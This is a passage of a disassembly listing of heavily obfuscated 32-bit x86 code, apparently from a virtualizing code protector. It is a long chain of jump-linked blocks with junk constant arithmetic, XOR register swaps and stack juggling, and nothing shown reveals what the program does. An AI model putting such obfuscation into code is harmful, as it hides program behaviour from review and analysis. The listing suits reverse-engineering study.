		jmp	loc_58E5A2
; ---------------------------------------------------------------------------


loc_599DA3:				; CODE XREF: sub_57DD3A+20D6Aj
		mov	eax, 64487C61h
		or	eax, 73A93498h
		sub	eax, 0FFFFFFFFh
		shr	eax, 2
		jmp	loc_5933A0
; ---------------------------------------------------------------------------


loc_599DB8:				; CODE XREF: sub_57DD3A+19701j
		neg	ebx
		xor	ebx, 0A443EFC0h
		sub	ebx, edi
		push	[esp+4+var_4]
		mov	edi, [esp+8+var_8]
		jmp	loc_59D3DE
; ---------------------------------------------------------------------------


loc_599DCD:				; CODE XREF: sub_57DD3A+11296j
		not	eax
		xor	eax, 99C2BCEAh
		jmp	loc_5994D7
; ---------------------------------------------------------------------------


loc_599DD9:				; CODE XREF: sub_57DD3A+200E9j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_592BFD
; ---------------------------------------------------------------------------


loc_599DEA:				; CODE XREF: sub_57DD3A+20CB7j
		xor	esi, ecx
		pop	ecx
		sub	edi, esi
		jmp	loc_59AA9E
; ---------------------------------------------------------------------------


loc_599DF4:				; CODE XREF: sub_57DD3A+20E91j
		mov	edx, [esp+42h+var_42]
		add	esp, 4
		pop	ecx
		jmp	loc_59CE9C
; ---------------------------------------------------------------------------


loc_599E03:				; CODE XREF: sub_57DD3A+18261j
		xor	edi, 11CE45A4h
		jmp	loc_59D51F
; ---------------------------------------------------------------------------


loc_599E0E:				; CODE XREF: sub_57DD3A+217A5j
		mov	ebx, 0E6053465h
		add	eax, ebx
		pop	ebx
		push	eax
		sub	[esp+4+var_4], 1F993F9Ch
		pop	edx
		add	edx, 1F993F9Ch
		jmp	loc_595B8B
; ---------------------------------------------------------------------------


loc_599E2A:				; CODE XREF: sub_57DD3A+1B052j
		mov	[esp+0Ch+var_E+2], edi
		jmp	loc_5915F8
; ---------------------------------------------------------------------------


loc_599E32:				; CODE XREF: sub_57DD3A+111FCj
		mov	edi, 2BFF2B30h
		jmp	loc_5A0D47
; ---------------------------------------------------------------------------


loc_599E3C:				; CODE XREF: sub_57DD3A+24BC3j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599E41:				; CODE XREF: sub_57DD3A+14804j
		sub	ecx, 2A5537A4h
		jmp	loc_59B1B5
; ---------------------------------------------------------------------------


loc_599E4C:				; CODE XREF: sub_57DD3A+15753j
		xor	ecx, [esp+3Ah+var_3A]
		xor	[esp+3Ah+var_3A], ecx
		xor	ecx, [esp+3Ah+var_3A]
		mov	esp, [esp+3Ah+var_3A]
		or	edx, eax
		shl	edx, 1
		xchg	ebx, [edi+24h]
		push	esi
		push	esp
		jmp	loc_597AD5
; ---------------------------------------------------------------------------


loc_599E66:				; CODE XREF: sub_57DD3A+16DE2j
		add	esp, 4
		push	753Dh
		mov	[esp+52h+var_54+2], esi
		jmp	loc_59C358
; ---------------------------------------------------------------------------


loc_599E79:				; CODE XREF: sub_57DD3A+1993Dj
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_598723
; ---------------------------------------------------------------------------


loc_599E86:				; CODE XREF: sub_57DD3A+18E09j
		inc	ebp
		xor	ebp, 15576314h
		add	edi, ebp
		pop	ebp
		push	esi
		jmp	loc_59AAE6
; ---------------------------------------------------------------------------


loc_599E96:				; CODE XREF: sub_57DD3A+1C27Dj
		xchg	edi, [esp+36h+var_36]
		jmp	loc_5936E2
; ---------------------------------------------------------------------------


loc_599E9E:				; CODE XREF: sub_57DD3A+14EA3j
		mov	eax, 2E3474E5h
		jmp	loc_5A11C7
; ---------------------------------------------------------------------------


loc_599EA8:				; CODE XREF: sub_57DD3A+1B589j
		sub	ebp, 0D5B4EF0Bh
		mov	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_591FBD
; ---------------------------------------------------------------------------


loc_599EB9:				; CODE XREF: sub_57DD3A+2359Dj
		pop	esi
		add	ebp, 0C5FA0AD5h
		add	eax, ebp
		jmp	loc_59A976
; ---------------------------------------------------------------------------


loc_599EC7:				; CODE XREF: sub_57DD3A+1E443j
		shl	ecx, 1
		shl	ecx, 2
		dec	ecx
		xor	ecx, 3884C0DBh
		sub	edi, ecx
		pop	ecx
		sub	eax, 6110580Fh
		sub	esp, 4
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 34807953h
		jmp	loc_592A58
; ---------------------------------------------------------------------------


loc_599EEE:				; CODE XREF: sub_57DD3A+17814j
		push	[esp+12h+var_12]
		jmp	loc_59FE0D
; ---------------------------------------------------------------------------


loc_599EF6:				; CODE XREF: sub_57DD3A+1BBFAj
		push	ebp
		pop	edi
		jmp	loc_593608
; ---------------------------------------------------------------------------


loc_599EFD:				; CODE XREF: sub_57DD3A+18EB6j
		mov	ebx, 4
		jmp	loc_5A1D04
; ---------------------------------------------------------------------------


loc_599F07:				; CODE XREF: sub_57DD3A+1327Cj
		mov	edx, ebp
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		add	[esp+1Eh+var_1E], 0B456EF1h
		jmp	loc_595DE1
; ---------------------------------------------------------------------------


loc_599F1E:				; CODE XREF: sub_57DD3A+12CB9j
		and	ah, 0A7h
		shl	ah, 3
		shr	ah, 8
		sub	ah, 18h
		mov	dl, ah
		jmp	loc_59FEDB
; ---------------------------------------------------------------------------


loc_599F31:				; CODE XREF: sub_57DD3A+193FAj
		mov	cl, bh
		pop	ebx
		push	ebp
		jmp	loc_59FAD6
; ---------------------------------------------------------------------------


loc_599F3A:				; CODE XREF: sub_57DD3A+24E5Bj
		sub	ecx, 179F0283h
		add	ecx, ebx
		jmp	loc_592E15
; ---------------------------------------------------------------------------


loc_599F47:				; CODE XREF: sub_57DD3A+1E619j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	esi
		mov	esi, 1E0981h
		add	eax, esi
		pop	esi
		and	ecx, eax
		jmp	loc_595519
; ---------------------------------------------------------------------------


loc_599F5D:				; CODE XREF: sub_57DD3A+22801j
		push	edi
		mov	edi, 6A305B03h
		xor	edi, 38816C1Dh
		add	edi, 0FD3436Ah
		sub	edi, 786B5AFEh
		jmp	loc_598E7A
; ---------------------------------------------------------------------------


loc_599F7A:				; CODE XREF: sub_57DD3A+230E5j
		mov	esi, 11BB56F0h
		push	ebx
		mov	ebx, 803C14h
		push	ebp
		mov	ebp, 0FF7FC3EBh
		add	ebx, ebp
		mov	ebp, [esp+2Ah+var_2A]
		jmp	loc_5A03D3
; ---------------------------------------------------------------------------


loc_599F95:				; CODE XREF: sub_57DD3A+22A83j
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		push	eax
		push	4DB84392h
		mov	eax, [esp+2Eh+var_2E]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_599E96
; ---------------------------------------------------------------------------


loc_599FBC:				; CODE XREF: sub_57DD3A+207ADj
		mov	[esp+32h+var_32], esi
		push	edx
		jmp	loc_5A0E0A
; ---------------------------------------------------------------------------


loc_599FC5:				; CODE XREF: sub_57DD3A+1BF3Fj
		or	ebp, 44C111B9h
		sub	ebp, 0F8FF39A9h
		xor	eax, ebp
		pop	ebp
		not	eax
		sub	eax, 0A2A95094h
		mov	ebp, eax
		jmp	loc_599481
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_599FEA:				; CODE XREF: sub_57DD3A+1C490j
		pop	ebx
		or	ebx, 22AD20ECh
		push	edi
		mov	edi, 0FBADA7EBh
		sub	ebx, edi
		push	[esp+28h+var_2A+2]
		jmp	loc_59D88A
; ---------------------------------------------------------------------------


loc_59A001:				; CODE XREF: sub_57DD3A+11162j
		push	352769D9h
		pop	esi
		jmp	loc_59BF0D
; ---------------------------------------------------------------------------


loc_59A00C:				; CODE XREF: sub_57DD3A+1EAC2j
		mov	dh, 9Dh
		mov	bl, 0F0h
		sub	bl, dh
		pop	edx
		push	368Ah
		mov	[esp+32h+var_32], eax
		push	246Ah
		mov	[esp+36h+var_36], ebx
		push	edx
		mov	dl, 9Bh
		jmp	loc_5A2887
; ---------------------------------------------------------------------------


loc_59A02B:				; CODE XREF: sub_57DD3A+1A9A2j
		sub	al, bh
		mov	ebx, [esp+0Ch+var_E+2]
		jmp	loc_595C9D
; ---------------------------------------------------------------------------


loc_59A035:				; CODE XREF: sub_57DD3A+109B4j
		xor	ebx, edx
		pop	edx
		push	edx
		mov	edx, 7E314757h
		not	edx
		shl	edx, 1
		sub	edx, 0D956DCAh
		inc	edx
		sub	edx, 85EDCC2Dh
		jmp	loc_5A1FEA
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+10h+var_12+2]
		push	0FC9h
		mov	[esp+14h+var_16+2], ebx
		sub	esp, 4
		mov	[esp+18h+var_1A+2], esp
		push	6D31h
		mov	[esp+1Ch+var_1E+2], edx
		push	4213h
		mov	[esp+20h+var_22+2], eax
		push	48F36E82h
		jmp	loc_595802
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+24h+var_26+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		pop	ecx
		xchg	eax, [esp+28h+var_2A+2]
		pop	esp
		mov	[esp+24h+var_26+2], edx
		push	ebx
		jmp	loc_58FCCA
; ---------------------------------------------------------------------------


loc_59A0A5:				; CODE XREF: sub_57DD3A+203ACj
		add	ebp, 4
		jmp	loc_5A03A6
; ---------------------------------------------------------------------------


loc_59A0B0:				; CODE XREF: sub_57DD3A+16B98j
		push	edi
		jmp	loc_59EA82
; ---------------------------------------------------------------------------


loc_59A0B6:				; CODE XREF: sub_57DD3A+21BA2j
		sub	ecx, 0DF91BE7h
		sub	ecx, edi
		add	ecx, 0DF91BE7h
		pop	edi
		push	ebx
		mov	ebx, 12681DDCh
		dec	ebx
		xor	ebx, 278168BAh
		or	ebx, 6CF07CBEh
		add	ebx, 0A8D3BEA0h
		add	ecx, ebx
		pop	ebx
		xor	ecx, 78B41472h
		jmp	loc_5A13F6
; ---------------------------------------------------------------------------


loc_59A0EC:				; CODE XREF: sub_57DD3A+21836j
		pop	edx
		jmp	loc_590589
; ---------------------------------------------------------------------------


loc_59A0F2:				; CODE XREF: sub_57DD3A+19374j
		add	esp, 4
		sub	ebx, 21044F89h
		add	ebx, eax
		add	ebx, 21044F89h
		jmp	loc_59ADB7
; ---------------------------------------------------------------------------


loc_59A108:				; CODE XREF: sub_57DD3A+20B30j
		pop	esp
		jmp	loc_5A2DE8
; ---------------------------------------------------------------------------


loc_59A10E:				; CODE XREF: sub_57DD3A+203C4j
		xchg	edx, [esp-18h+arg_12+2]
		pop	esp
		jmp	loc_58E9DC
; ---------------------------------------------------------------------------


loc_59A117:				; CODE XREF: sub_57DD3A+1CDB3j
		mov	esi, [esp-1Ch+arg_16+2]
		jmp	loc_596905
; ---------------------------------------------------------------------------


loc_59A11F:				; CODE XREF: sub_57DD3A+17D9Dj
		mov	dh, bh
		jmp	loc_5999AA
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	small 5165h
		mov	word ptr [esp+40h+var_42+2], bx
		push	eax
		push	ecx
		mov	cl, 0A8h
		jmp	loc_59F176
; ---------------------------------------------------------------------------


loc_59A13A:				; CODE XREF: sub_57DD3A+24CC4j
		mov	ebp, ecx
		pop	ecx
		add	ebx, ebp
		mov	ebp, [esp+44h+var_46+2]
		add	esp, 4
		push	edx
		jmp	loc_59CABC
; ---------------------------------------------------------------------------


loc_59A14E:				; CODE XREF: sub_57DD3A+1FB6Bj
		mov	[esp+44h+var_46+2], esi
		mov	eax, [esp+44h+var_46+2]
		push	ebx
		push	esp
		jmp	loc_5960D0
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_591254
; ---------------------------------------------------------------------------


loc_59A161:				; CODE XREF: sub_57DD3A+21C3Aj
		mov	edi, [esp+4Ch+var_4C]
		jmp	loc_5940E5
; ---------------------------------------------------------------------------


loc_59A169:				; CODE XREF: sub_57DD3A+138B9j
		pop	esi
		push	ecx
		mov	ecx, 1D1D716Fh
		sub	edx, ecx
		pop	ecx
		add	edx, ebx
		push	esi
		mov	esi, 1D1D716Fh
		add	edx, esi
		pop	esi
		pop	ebx
		push	esi
		jmp	loc_59BD55
; ---------------------------------------------------------------------------


loc_59A185:				; CODE XREF: sub_57DD3A+1E68Ej
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59FA9D
; ---------------------------------------------------------------------------


loc_59A193:				; CODE XREF: sub_57DD3A+1EB20j
		add	ebx, 786976h
		jmp	loc_59A247
; ---------------------------------------------------------------------------


loc_59A19E:				; CODE XREF: sub_57DD3A+248B6j
		push	esi
		xor	dword ptr [esp+0], 5516469Eh
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		xor	ebx, 5516469Eh
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		add	eax, 2D5329FDh
		jmp	loc_5A061A
; ---------------------------------------------------------------------------


loc_59A1C6:				; CODE XREF: sub_57DD3A+20290j
		push	ebx
		not	[esp-4+arg_0]
		jmp	loc_599FEA
; ---------------------------------------------------------------------------


loc_59A1CF:				; CODE XREF: sub_57DD3A+1F9CCj
		xor	dl, al
		mov	eax, [esp-4+arg_0]
		jmp	loc_58E9FB
; ---------------------------------------------------------------------------


loc_59A1D9:				; CODE XREF: sub_57DD3A+21BCFj
		sub	esp, 4
		jmp	loc_5996D5
; ---------------------------------------------------------------------------


loc_59A1E4:				; CODE XREF: sub_57DD3A+1D413j
		xor	edx, [esp+0]
		jmp	loc_59B26D
; ---------------------------------------------------------------------------


loc_59A1EC:				; CODE XREF: sub_57DD3A+1E5CCj
		add	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		add	edx, eax
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A1FF:				; CODE XREF: sub_57DD3A+1AA40j
		mov	esp, [esp+1Ch+var_1E+2]
		push	[esp+1Ch+var_1E+2]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, 590A5C6Ch
		push	ebp
		dec	[esp+20h+var_22+2]
		pop	ebp
		or	ebp, 369013D3h
		dec	ebp
		jmp	loc_5934FA
; ---------------------------------------------------------------------------


loc_59A223:				; CODE XREF: sub_57DD3A+2446Fj
		mov	ecx, 37036DBAh
		not	ecx
		sub	ecx, 75080793h
		jmp	loc_58F40B
; ---------------------------------------------------------------------------


loc_59A235:				; CODE XREF: sub_57DD3A+1B381j
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp+14h+var_16+2]
		pop	esp
		jmp	loc_594F49
; ---------------------------------------------------------------------------


loc_59A247:				; CODE XREF: sub_57DD3A+1C45Fj
		push	1976h
		mov	[esp+0], eax
		push	ebp
		push	eax
		push	edi
		mov	edi, 21E54CB5h
		mov	eax, edi
		pop	edi
		mov	ebp, eax
		pop	eax
		mov	eax, 910D34A6h
		sub	eax, 2E213106h
		sub	eax, 440F2A2Ah
		sub	eax, ebp
		add	eax, 440F2A2Ah
		add	eax, 2E213106h
		mov	ebp, [esp+4+var_4]
		jmp	loc_5A092F
; ---------------------------------------------------------------------------


loc_59A280:				; CODE XREF: sub_57DD3A+2029Ej
		push	edx
		mov	edx, 3CEB61F1h
		inc	edx
		jmp	loc_5984F4
; ---------------------------------------------------------------------------


loc_59A28C:				; CODE XREF: sub_57DD3A+1D11Aj
		dec	esi
		xor	eax, esi
		xor	esi, eax
		jmp	loc_5A01EE
; ---------------------------------------------------------------------------


loc_59A296:				; CODE XREF: sub_57DD3A+11132j
		inc	eax
		xor	eax, 5D6207FEh
		jmp	loc_594847
; ---------------------------------------------------------------------------


loc_59A2A1:				; CODE XREF: sub_57DD3A+1212Ej
		mov	esi, [esp+14h+var_16+2]
		add	esp, 4
		shl	edi, 2
		shl	edi, 3
		jmp	loc_595AF2
; ---------------------------------------------------------------------------


loc_59A2B2:				; CODE XREF: sub_57DD3A+13704j
		sub	esi, 6F187F54h
		add	esi, 0CB801B7Ah
		jmp	loc_59E0F3
; ---------------------------------------------------------------------------


loc_59A2C3:				; CODE XREF: sub_57DD3A+20C76j
		pop	edx
		xor	esi, [esp+26h+var_26]
		xor	[esp+26h+var_26], esi
		xor	esi, [esp+26h+var_26]
		pop	esp
		push	[esp+22h+var_22]
		mov	edi, [esp+26h+var_26]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ah+var_2A]
		jmp	loc_5900DE
; ---------------------------------------------------------------------------


loc_59A2E8:				; CODE XREF: sub_57DD3A+1A43Aj
		mov	ecx, 14653E8Bh
		xor	ecx, 22854990h
		sub	ecx, 2AEA6244h
		shl	ecx, 8
		jmp	loc_590927
; ---------------------------------------------------------------------------


loc_59A301:				; CODE XREF: sub_57DD3A+14471j
		not	[esp+0Eh+var_E]
		jmp	loc_59BCCB
; ---------------------------------------------------------------------------


loc_59A309:				; CODE XREF: sub_57DD3A+24399j
		shl	ebx, 8
		neg	ebx
		sub	ebx, 7BAA4A99h
		jmp	loc_59EE52
; ---------------------------------------------------------------------------


loc_59A319:				; CODE XREF: sub_57DD3A+1E84Bj
		mov	edx, 89741A1h
		jmp	loc_598AA1
; ---------------------------------------------------------------------------


loc_59A323:				; CODE XREF: sub_57DD3A+1BE9Fj
		add	eax, 620768A9h
		shl	eax, 3
		and	eax, 737E77CCh
		jmp	loc_59C8D4
; ---------------------------------------------------------------------------


loc_59A335:				; CODE XREF: sub_57DD3A+1D245j
		sub	esp, 4
		mov	[esp+16h+var_16], esp
		add	[esp+16h+var_16], 4
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp+16h+var_16]
		jmp	loc_59B038
; ---------------------------------------------------------------------------


loc_59A350:				; CODE XREF: sub_57DD3A+17C3Fj
		push	edx
		mov	edx, 0AAF7A58h
		sub	[esp+24h+var_22+2], edx
		pop	edx
		push	[esp+20h+var_22+2]
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_590866
; ---------------------------------------------------------------------------


loc_59A36C:				; CODE XREF: sub_57DD3A+16231j
		push	26D2h
		mov	[esp+4Eh+var_50+2], eax
		jmp	loc_59C2AC
; ---------------------------------------------------------------------------


loc_59A379:				; CODE XREF: sub_57DD3A+1D9D1j
		sub	edx, eax
		sub	edx, 21550ADCh
		pop	eax
		mov	ebp, edx
		jmp	loc_59C87F
; ---------------------------------------------------------------------------


loc_59A389:				; CODE XREF: sub_57DD3A+180D4j
		add	esi, edi
		add	esi, 2C9B4D09h
		jmp	loc_5951F3
; ---------------------------------------------------------------------------


loc_59A396:				; CODE XREF: sub_57DD3A+13185j
		push	[esp+68h+var_68]
		pop	esi
		jmp	loc_598B55
; ---------------------------------------------------------------------------


loc_59A39F:				; CODE XREF: sub_57DD3A+1EE61j
		pop	ecx
		add	esp, 4
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, eax
		push	edx
		push	314Dh
		mov	[esp+68h+var_68], esi
		jmp	loc_58FC06
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+66h+var_68+2], cl
		pushf
		jmp	loc_596C22
; ---------------------------------------------------------------------------


loc_59A3C9:				; CODE XREF: sub_57DD3A+14956j
		sub	eax, 1ACD2660h
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		pop	edi
		push	ecx
		push	esp
		jmp	loc_59D5D4
; ---------------------------------------------------------------------------


loc_59A3DF:				; CODE XREF: sub_57DD3A+19A7Fj
		push	46A0h
		jmp	loc_58EAE8
; ---------------------------------------------------------------------------


loc_59A3E9:				; CODE XREF: sub_57DD3A+1FA00j
		inc	esi
		add	esi, 8B624E7Fh
		jmp	loc_598A2D
; ---------------------------------------------------------------------------


loc_59A3F5:				; CODE XREF: sub_57DD3A+14DF0j
		add	ecx, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		push	dword ptr [esp+4]
		push	[esp+6+var_8+2]
		pop	ecx
		push	ecx
		mov	ecx, esp
		push	edi
		push	ebx
		mov	ebx, 23A20E4Dh
		mov	edi, 38097C14h
		not	edi
		xor	edi, 0F1E60842h
		sub	edi, ebx
		pop	ebx
		inc	edi
		dec	edi
		jmp	loc_59A484
; ---------------------------------------------------------------------------


loc_59A42D:				; CODE XREF: sub_57DD3A+1E29Dj
		mov	dl, bl
		mov	ebx, [esp+0Eh+var_E]
		add	esp, 4
		mov	bl, dl
		mov	edx, [esp+0]
		add	esp, 4
		mov	eax, [esp+6+var_8+2]
		jmp	loc_59969E
; ---------------------------------------------------------------------------


loc_59A448:				; CODE XREF: sub_57DD3A+1713Dj
		add	ebp, 10A7168h
		sub	ebp, edi
		jmp	loc_593217
; ---------------------------------------------------------------------------


loc_59A455:				; CODE XREF: sub_57DD3A+23630j
		dec	esi
		shl	esi, 8
		sub	esi, 9F2342E6h
		sub	ebx, esi
		pop	esi
		add	ebx, ecx
		push	ecx
		mov	ecx, 2A5A7CFCh
		sub	ecx, 0C4E214E2h
		sub	ebx, 6FEF1D46h
		add	ebx, ecx
		add	ebx, 6FEF1D46h
		pop	ecx
		jmp	loc_59247C
; ---------------------------------------------------------------------------


loc_59A484:				; CODE XREF: sub_57DD3A+1C6EEj
		sub	edi, 0FFFFFFFFh
		xor	edi, 126E7D59h
		sub	ecx, 64D50F23h
		add	ecx, edi
		jmp	loc_599260
; ---------------------------------------------------------------------------


loc_59A49A:				; CODE XREF: sub_57DD3A+11FE8j
		add	eax, 2E0E1077h
		xor	eax, 666218C1h
		sub	eax, 1D1962B1h
		push	ebp
		push	esi
		jmp	loc_58FCC0
; ---------------------------------------------------------------------------


loc_59A4B0:				; CODE XREF: sub_57DD3A+11D0Ej
		mov	cl, al
		mov	dl, cl
		push	[esp+0Ch+var_E+2]
		jmp	loc_58E54D
; ---------------------------------------------------------------------------


loc_59A4BC:				; CODE XREF: sub_57DD3A+17ABDj
		xor	eax, ebx
		pop	ebx
		jmp	loc_5A17AB
; ---------------------------------------------------------------------------


loc_59A4C4:				; CODE XREF: sub_57DD3A+17E3Fj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+14h+var_16+2]
		pop	esp
		xor	eax, edi
		push	[esp+10h+var_12+2]
		pop	edi
		push	eax
		mov	eax, esp
		jmp	loc_591DBF
; ---------------------------------------------------------------------------


loc_59A4E1:				; CODE XREF: sub_57DD3A+130FAj
		add	esi, 5F692D2Eh
		mov	ecx, [esp+54h+var_54]
		jmp	loc_59B8AF
; ---------------------------------------------------------------------------


loc_59A4EF:				; CODE XREF: sub_57DD3A+1B830j
		mov	[esp+1Ch+var_1E+2], eax
		mov	ah, 0AFh
		or	ah, 0A7h
		add	ah, 0FFh
		jmp	loc_59FBC9
; ---------------------------------------------------------------------------


loc_59A4FF:				; CODE XREF: sub_57DD3A+171F0j
		shr	esi, 7
		add	esi, 0CAF5825Eh
		xor	eax, esi
		pop	esi
		or	ecx, eax
		mov	eax, [esp+4Ah+var_4C+2]
		jmp	loc_5980FA
; ---------------------------------------------------------------------------


loc_59A515:				; CODE XREF: sub_57DD3A+15BEAj
		xor	edi, ebx
		jmp	loc_596507
; ---------------------------------------------------------------------------


loc_59A51C:				; CODE XREF: sub_57DD3A+1DDCAj
		sub	edx, ebp
		pop	ebp
		inc	edx
		sub	edx, 0A2C6DC1Ah
		and	edx, 4373131Fh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+5Ch+var_5C]
		pop	esp
		mov	[esp+58h+var_58], ecx
		jmp	loc_59F3AA
; ---------------------------------------------------------------------------


loc_59A543:				; CODE XREF: sub_57DD3A+140C3j
		add	ecx, 4
		jmp	loc_5A130C
; ---------------------------------------------------------------------------


loc_59A54E:				; CODE XREF: sub_57DD3A+1D8B8j
		xor	edi, [esp+70h+var_70]
		xor	[esp+70h+var_70], edi
		xor	edi, [esp+70h+var_70]
		jmp	loc_59C8EC
; ---------------------------------------------------------------------------


loc_59A55C:				; CODE XREF: sub_57DD3A+1DB55j
		pop	ebx
		jmp	loc_5A029E
; ---------------------------------------------------------------------------


loc_59A562:				; CODE XREF: sub_57DD3A+24C01j
		pop	ebx
		jmp	loc_59B72D
; ---------------------------------------------------------------------------


loc_59A568:				; CODE XREF: sub_57DD3A+17245j
		sub	ebp, 425C5992h
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		xor	ebp, [esp+64h+var_64]
		xor	[esp+64h+var_64], ebp
		xor	ebp, [esp+64h+var_64]
		mov	esp, [esp+64h+var_64]
		shl	word ptr [esp+64h+var_64], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A58A:				; CODE XREF: sub_57DD3A+11C97j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		pop	esp
		pop	esi
		push	ecx
		push	ebp
		push	22624170h
		pop	ebp
		jmp	loc_596C91
; ---------------------------------------------------------------------------


loc_59A5A8:				; CODE XREF: sub_57DD3A+248F9j
		add	[esp+14h+var_16+2], 0EA13BDh
		pop	ebx
		sub	ebx, 0EA13BDh
		pop	esi
		mov	eax, [esp+0Ch+var_E+2]
		add	esp, 4
		mov	edi, ebx
		mov	ebx, [esp+8+var_8]
		push	ebp
		jmp	loc_59D798
; ---------------------------------------------------------------------------


loc_59A5C8:				; CODE XREF: sub_57DD3A+15BA0j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5952B5
; ---------------------------------------------------------------------------


loc_59A5D5:				; CODE XREF: sub_57DD3A+19AA6j
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp+1Ch+var_1E+2]
		jmp	loc_590F54
; ---------------------------------------------------------------------------


loc_59A5EF:				; CODE XREF: sub_57DD3A+1EF5Cj
		mov	eax, esp
		push	edi
		mov	edi, 0EB83F34h
		jmp	loc_59FA09
; ---------------------------------------------------------------------------


loc_59A5FC:				; CODE XREF: sub_57DD3A+1ADF1j
		mov	edi, 35BE3DE6h
		mov	eax, 90750659h
		sub	eax, edi
		mov	edi, [esp+3Ah+var_3A]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		jmp	loc_59263A
; ---------------------------------------------------------------------------


loc_59A61C:				; CODE XREF: sub_57DD3A+1B271j
		add	bl, 3Dh
		mov	cl, bl
		pop	ebx
		sub	cl, 0A5h
		jmp	loc_593429
; ---------------------------------------------------------------------------


loc_59A62A:				; CODE XREF: sub_57DD3A+17D95j
		push	esi
		mov	esi, 39B111AFh
		add	esi, 50FF094Eh
		neg	esi
		or	esi, 452041AEh
		sub	esi, 3AFA4B4Bh
		add	esi, 0C58A659Bh
		sub	ebp, esi
		jmp	loc_59529F
; ---------------------------------------------------------------------------


loc_59A651:				; CODE XREF: sub_57DD3A+25217j
		push	esi
		mov	esi, 2B685CC4h
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], edi
		push	ebp
		mov	ebp, 633C1039h
		mov	edi, ebp
		pop	ebp
		not	edi
		not	edi
		and	edi, 9B75873h
		jmp	loc_59EDD4
; ---------------------------------------------------------------------------


loc_59A675:				; CODE XREF: sub_57DD3A+1D6E0j
		mov	esi, 5817AD7Eh
		jmp	loc_59D650
; ---------------------------------------------------------------------------


loc_59A67F:				; CODE XREF: sub_57DD3A+179EEj
		and	[esp+24h+var_26+2], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A688:				; CODE XREF: sub_57DD3A+2367Bj
		mov	ebp, [esp+28h+var_2A+2]
		add	esp, 4
		push	esi
		jmp	loc_58E800
; ---------------------------------------------------------------------------


loc_59A697:				; CODE XREF: sub_57DD3A+1D1BFj
		pop	ebx
		jmp	loc_598E20
; ---------------------------------------------------------------------------


loc_59A69D:				; CODE XREF: sub_57DD3A+1E04Bj
		push	1D53h
		mov	[esp+28h+var_2A+2], ebx
		mov	ebx, 346F6C5Bh
		inc	ebx
		jmp	loc_5A20C4
; ---------------------------------------------------------------------------


loc_59A6B0:				; CODE XREF: sub_57DD3A+2225Fj
		sub	dl, 1Bh
		mov	bh, dl
		jmp	loc_59647B
; ---------------------------------------------------------------------------


loc_59A6BA:				; CODE XREF: sub_57DD3A+21E6Ej
		pop	ebx
		mov	[edi+eax*4], dl
		mov	edx, [esp+24h+var_26+2]
		add	esp, 4
		mov	ecx, [esp+20h+var_22+2]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 51AB2B09h
		inc	esi
		jmp	loc_58E370
; ---------------------------------------------------------------------------


loc_59A6D9:				; CODE XREF: sub_57DD3A+18942j
		add	ebx, eax
		push	ecx
		mov	ecx, 68096699h
		inc	ecx
		jmp	loc_5A1E9E
; ---------------------------------------------------------------------------


loc_59A6E7:				; CODE XREF: sub_57DD3A+181E3j
		add	esp, 4
		push	esi
		jmp	loc_5A2BD0
; ---------------------------------------------------------------------------


loc_59A6F0:				; CODE XREF: sub_57DD3A+110B5j
		push	[esp+22h+var_22]
		mov	ebx, [esp+26h+var_26]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0103
; ---------------------------------------------------------------------------


loc_59A6FE:				; CODE XREF: sub_57DD3A+21537j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59A703:				; CODE XREF: sub_57DD3A+165C5j
		not	ebp
		jmp	loc_59F113
; ---------------------------------------------------------------------------


loc_59A70A:				; CODE XREF: sub_57DD3A+1EA9Aj
		xor	al, bl
		push	1211h
		mov	[esp+26h+var_26], edx
		mov	dh, 0CAh
		inc	dh
		push	ax
		mov	al, dh
		not	al
